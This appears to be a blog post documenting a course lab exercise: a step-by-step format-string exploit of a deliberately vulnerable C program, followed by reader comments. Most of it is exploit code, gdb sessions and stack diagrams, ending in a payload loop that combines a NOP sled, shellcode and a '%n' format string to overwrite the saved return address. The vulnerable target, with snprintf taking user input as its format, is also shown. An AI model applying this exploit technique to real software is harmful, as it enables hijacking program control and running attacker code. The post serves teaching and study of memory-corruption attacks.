Blog Bug's

bugging blogs

on Target 5…

Suggested readings :
Exploiting Format String Vulnerabilities
On Target 1

Examining /tmp/target5 in Detail

code of executable /tmp/target5 (target5.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int foo(char *arg)
{
  char buf[400];
  snprintf(buf, sizeof buf, arg);
  return 0;
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target5: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv[1]);

  return 0;
}

Like sploits 1 to 3, below is a sample code (sploit5.c) to exploit the code above :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target5"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[400];
  int i;
  int addr;
  char * fmt_str;

  for(i = 0; i < 400; i++) {
    if(i < 399) {
      *(buf + i) = 'a';
    } else {
      *(buf + i) = '\x00';
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

Having read the articles suggested above, below is sample starting code to exploit the code (target4.c‘s) above :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target5"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[400];
  int i;
  int addr;
  char * fmt_str;

  addr = 0xaaaaaaaa;
  fmt_str = "%08x%n";
  for(i = 0; i < 400; i++) {
    if(i < 4) {
      *(buf + i) = addr >> (i * 8); // <address>
    } else if(i < (399 - strlen(fmt_str))) {
      *(buf + i) = 'a'; // <any byte>
    } else if(i < 399) {
      memcpy(buf + i, fmt_str, strlen(fmt_str)); // <format string>
      i += strlen(fmt_str) - 1;
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

One of the readings suggest the pattern <address><any byte><%08x>+<%n> to be snprintf‘ed to buf (on target5.c) and effectively overwrite the contents at address by %n with the number of bytes already printed. The critical part is correctly guessing the number of %08x so that the stack pointer points to the address of buf.

Use gdb to examine foo‘s frame.

user@box:~/pp1/sploits$ gdb -e sploit5 -s /tmp/target5
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit5
Executing new program: /proc/4200/exe
/proc/4200/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804843d: file target5.c, line 8.
(gdb) continue
Continuing.
[New process 4200]
[Switching to process 4200]

Breakpoint 2, foo (arg=0xbffffe5f "����", 'a' <repeats 196 times>...) at target5.c:8
8	target5.c: No such file or directory.
	in target5.c
(gdb) info frame
Stack level 0, frame at 0xbffffcf0:
 eip = 0x804843d in foo (target5.c:8); saved eip 0x80484c1
 called by frame at 0xbffffd10
 source language c.
 Arglist at 0xbffffce8, args: arg=0xbffffe5f "����", 'a' <repeats 196 times>...
 Locals at 0xbffffce8, Previous frame's sp is 0xbffffcf0
 Saved registers:
  ebp at 0xbffffce8, eip at 0xbffffcec
(gdb) x buf
0xbffffb58:	0x00000000
(gdb) x 0xbffffce8
0xbffffce8:	0xbffffd08
(gdb) x 0xbffffcec
0xbffffcec:	0x080484c1
(gdb) x 0xbffffcf0
0xbffffcf0:	0xbffffe5f

Below is visualization of foo‘s frame :

[                    -local_var-                          ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffb--                                                 ][bffffc--   ][bffffc--   ][bffffc--   ]  -> first 3 bytes of addresses
[58|59|5a|5b|...                                    ...|e7][e8|e9|ea|eb][ec|ed|ee|ef][f0|f1|f2|f3]  -> last bytes of addresses
[00|00|00|00|...                                    ...|00][08|fd|ff|bf][c1|84|04|08][5f|fe|ff|bf]  -> data
|-----------------------400 bytes-------------------------|

And our input buffer should look like below :

[aa|aa|aa|aa|61|61|61|61|...   ...|61|25|30|38|78|25|6E|00] -> buffer data
< address  ><        any byte       >< format string  ><00>
|-4 bytes--||-----------------------||-----6 bytes-----|
|----------------------399 bytes-----------------------|

where:
% - '\x25'    8 - '\x38'    n - '\x6E'
0 - '\x30'    x - '\x78'    a - '\x61'

If one %08x were enough to make the stack pointer point to the address of buf (on foo‘s frame) and we use address 0xbffffb5c (4 bytes after address of buf) to address above, after a call to snprintf() on foo function should make foo‘s frame look like below :

[                    -local_var-                          ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffb--                                                 ][bffffc--   ][bffffc--   ][bffffc--   ]  -> first 3 bytes of addresses
[58|59|5a|5b|5c|5d|5e|5f|...                        ...|e7][e8|e9|ea|eb][ec|ed|ee|ef][f0|f1|f2|f3]  -> last bytes of addresses
[5c|fb|ff|bf|91|01|00|00|...                        ...|00][08|fd|ff|bf][c1|84|04|08][5f|fe|ff|bf]  -> data

%n should write 0x00000191 (401 bytes – 4 bytes address + 389 bytes ‘a’ + 8 bytes %08x ) to address 0xbffffb5c. But using gdb suggests that one %08x is not enough and causes the target5 to crash. The reason is that the stack pointer might point before the address of buf and with address content that is not writable for %n.

user@box:~/pp1/sploits$ gdb -e sploit5 -s /tmp/target5
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit5
Executing new program: /proc/4229/exe
/proc/4229/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804843d: file target5.c, line 8.
(gdb) continue
Continuing.
[New process 4229]
[Switching to process 4229]

Breakpoint 2, foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8
8	target5.c: No such file or directory.
	in target5.c
(gdb) x buf
0xbffffb58:	0x00000000
(gdb) finish
Run till exit from #0  foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8

Program received signal SIGSEGV, Segmentation fault.
0xb7ec5018 in vfprintf () from /lib/i686/cmov/libc.so.6

Let’s try two %08x and our buffer should look like below :

[5c|fb|ff|bf|61|61|61|61|...   ...|61|25|30|38|78|25|30|38|78|25|6E|00] -> buffer data
< address  ><        any byte       ><       format string        ><00>
|-4 bytes--||-----------------------||----------10 bytes-----------|
|---------------------------399 bytes------------------------------|

where:
% - '\x25'    8 - '\x38'    n - '\x6E'
0 - '\x30'    x - '\x78'    a - '\x61'

After a call to snprintf() on foo function, foo‘s frame should look like below :

[                    -local_var-                          ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffb--                                                 ][bffffc--   ][bffffc--   ][bffffc--   ]  -> first 3 bytes of addresses
[58|59|5a|5b|5c|5d|5e|5f|...                        ...|e7][e8|e9|ea|eb][ec|ed|ee|ef][f0|f1|f2|f3]  -> last bytes of addresses
[5c|fb|ff|bf|95|01|00|00|...                        ...|00][08|fd|ff|bf][c1|84|04|08][5f|fe|ff|bf]  -> data

%n should write 0x00000195 (401 bytes – 4 bytes address + 385 bytes ‘a’ + 16 bytes two %08x ) to address 0xbffffb5c. Again, using gdb suggests that two %08x are not enough and still cause target5 to crash. Let’s try three %08x and %n should write 0x00000199 (409 bytes – 4 bytes address + 381 bytes ‘a’ + 24 bytes three %08x ) to address 0xbffffb5c. Now using gdb confirms that it works this time (see below).

user@box:~/pp1/sploits$ gdb -e sploit5 -s /tmp/target5
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit5
Executing new program: /proc/4253/exe
/proc/4253/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804843d: file target5.c, line 8.
(gdb) continue
Continuing.
[New process 4253]
[Switching to process 4253]

Breakpoint 2, foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8
8	target5.c: No such file or directory.
	in target5.c
(gdb) info frame
Stack level 0, frame at 0xbffffcf0:
 eip = 0x804843d in foo (target5.c:8); saved eip 0x80484c1
 called by frame at 0xbffffd10
 source language c.
 Arglist at 0xbffffce8, args: arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...
 Locals at 0xbffffce8, Previous frame's sp is 0xbffffcf0
 Saved registers:
  ebp at 0xbffffce8, eip at 0xbffffcec
(gdb) x buf
0xbffffb58:	0x00000000
(gdb) x/2x 0xbffffb58
0xbffffb58:	0x00000000	0x00000000
(gdb) finish
Run till exit from #0  foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8
main (argc=2, argv=0xbffffda4) at target5.c:21
21	in target5.c
Value returned is $1 = 0
(gdb) x/2x 0xbffffb58
0xbffffb58:	0xbffffb5c	0x00000199
(gdb) x/4x 0xbffffb50
0xbffffb50:	0x00000000	0x00000000	0xbffffb5c	0x00000199

Thus, with one %08x, the stack pointer is pointing to 0xbffffb50 and %n is trying to write on address 0x00000000 (see lines 45 and 46 above). We confirmed here why the previous attempts crashed the program.

Our goal is to use foo‘s eip address on address, so we effectively change its (foo‘s eip) value. We know that contents before buf are all zeros (‘0x00‘), using %u%u%u (note that both %u and %x fetches 4 bytes of memory and should move the stack pointer equivalently) instead of %08x%08x%08x should print 000 instead of 000000000000000000000000.

Our problem now, is to control the number of bytes written by %n. To control it we use %u%u%0wu where w is the (width) minimum number of digits %u should be printed, i.e. %u%u%08u should print 10 zero’s (0‘s). Now we can control what %n writes. If we wish foo‘s eip to point 4 bytes after buf, i.e. 0xbffffb5c, we should determine w so that it will be near 0xbffffb5c (note that we should also consider bytes before the format string %u%u%0wu%n of input buffer).  0xbffffb5c is 3221224284 in decimal. Lets start with 3221223902 (we only count bytes before %n ), since :

 |---4 bytes----||--376 bytes--||3221223904 bytes-|   -> bytes printed
"\x5c\xfb\xff\xbfaaa...     ...a%u%u%03221223902u%n"
 |---4 bytes----||--376 bytes--||----19 bytes-----|   -> string length
 |-------------------399 bytes--------------------|

Examine foo‘s frame with gdb :

user@box:~/pp1/sploits$ gdb -e sploit5 -s /tmp/target5
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit5
Executing new program: /proc/4664/exe
/proc/4664/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804843d: file target5.c, line 8.
(gdb) continue
Continuing.
[New process 4664]
[Switching to process 4664]

Breakpoint 2, foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8
8	target5.c: No such file or directory.
	in target5.c
(gdb) x buf
0xbffffb58:	0x00000000
(gdb) finish
Run till exit from #0  foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8
main (argc=2, argv=0xbffffda4) at target5.c:21
21	in target5.c
Value returned is $1 = 0
(gdb) x/2x 0xbffffb58
0xbffffb58:	0xbffffb5c	0x0000017f

Maybe 3221223902 is too large for width. We should consider the only first three bytes of eip, i.e. hex 0xbffffb– which is 12582907 in decimal. And start with 12582523, since :

 |---4 bytes----||--378 bytes--||12582525 bytes-|   -> bytes printed
"\x5c\xfb\xff\xbfaaa...     ...a%u%u%012582523u%n"
 |---4 bytes----||--378 bytes--||---17 bytes----|   -> string length
 |-------------------399 bytes------------------|

The goal now is make the address point to 1 byte after eip. Basically we are overwriting the first three bytes of address in eip (actually last three bytes in memory) and hoping the last byte (c1) is in the range of our buf, i.e. on or after 0xbffffb5c. So, we will need to change address 0xbffffb5c to 1 byte after address of eip which is 0xbffffced.

All in all, our buffer should look like below :

[                 -local_var-                 ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffb--                                     ][bffffc--   ][bffffc--   ][bffffc--   ]  -> first 3 bytes of addresses
[58|59|5a|5b|5c|5d|5e|5f|...            ...|e7][e8|e9|ea|eb][ec|ed|ee|ef][f0|f1|f2|f3]  -> last bytes of addresses
[00|00|00|00|00|00|00|00|...            ...|00][08|fd|ff|bf][c1|84|04|08][5f|fe|ff|bf]  -> data

[ed|fc|ff|bf|90|...                     ...|00]                                         -> buffer data
< address  ><nop><shellcode><format string><00>
|-------------------400 bytes-----------------|

To implement, below is a sample edit of the for loop in sploit5.c :

  addr = 0xbffffced;
  fmt_str = "%u%u%012582523u%n";
  for(i = 0; i < 400; i++) {
    if(i < 4) {
      *(buf + i) = addr >> (i * 8); // <address>
    } else if(i < (399 - strlen(fmt_str) - strlen(shellcode))) {
      *(buf + i) = '\x90'; // <nop>
    } else if(i < (399 - strlen(fmt_str))) {
      *(buf + i) = shellcode[i - 399 + strlen(fmt_str) + strlen(shellcode)]; // <shellcode>
    } else if(i < 399) {
      memcpy(buf + i, fmt_str, strlen(fmt_str)); // <format string>
      i += strlen(fmt_str) - 1;
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }
posted by ninoy in Hack 101 and have Comments (8)

8 Responses to “on Target 5…”

  1. 340sixteen says:

    I would like to exchange links with your site blogs.hulmahan.com.ph
    Is this possible?

  2. Amiable fill someone in on and this mail helped me alot in my college assignement. Gratefulness you as your information.

  3. Ritu says:

    I am bit confused with the following statements

    /********************
    Maybe 3221223902 is to large for width. We should consider the only first three bytes of eip, i.e. hex 0xbffffb– which is 12582907 in decimal. And start with 12582523, since :
    ******************/

    What address 12582523 correspond to? I understand 12582907 which is the address of eip(first 3 bytes). Couldn’t figure out 12582523 which is 0xbffe7b. Inputs will be very helpful

  4. ninoy says:

    look at line 33 (gdb results above it):
    0xbffffb58: 0xbffffb5c 0x0000017f
    it means that what gets written on address 0xbffffb5c (4 bytes after 0xbffffb58) is 0x0000017f and is not what we are expecting. we wish an address on the range 0xbffffb– to be written on it (address 0xbffffb5c) which is also in the address range of buf.

    with regard to 12582523, we’re only concerned to write 0xbffffb (12582907) to an address. But we can’t pick it as `w` (width) on the format string, since we also consider printed characters before %n on the format string. i.e. it should be lesser than that (12582907). an estimate would be: 12582907 – 4 bytes (target address to write and at the start of the format string) – 378 bytes (for nop’s and shellcode) – 2 bytes (two %u) ~ 12582523.

  5. fieri says:

    So, what would you do if the last byte was not in the range of the buffer? Is there any other way?

  6. ninoy says:

    Note that the buf‘s length is 400 bytes. It is unlikely that you will not find buf‘s address ending on that last byte. One byte should give you ~256 unique last byte addresses. So in this case, more likely that the last byte will be on the range of buffer.

  7. wowf says:

    Can you explain a little bit more what is causing the segfault? I have a hard time understanding why 1 or 2 %08x does not work but 3 %08x works.

  8. ninoy says:

    because, usually the format string is located on the stack, on top of our normal format function stack frame. i.e., visually to the left of buf‘s address 0xbffffb58. it’s somewhere there. we just need to find the right padding (of %08x = 4bytes) to make it point at the start of buf‘s address. you can only do this by trial and error.

Place your comment

Please fill your data and comment below.
Name
Email
Website
Your comment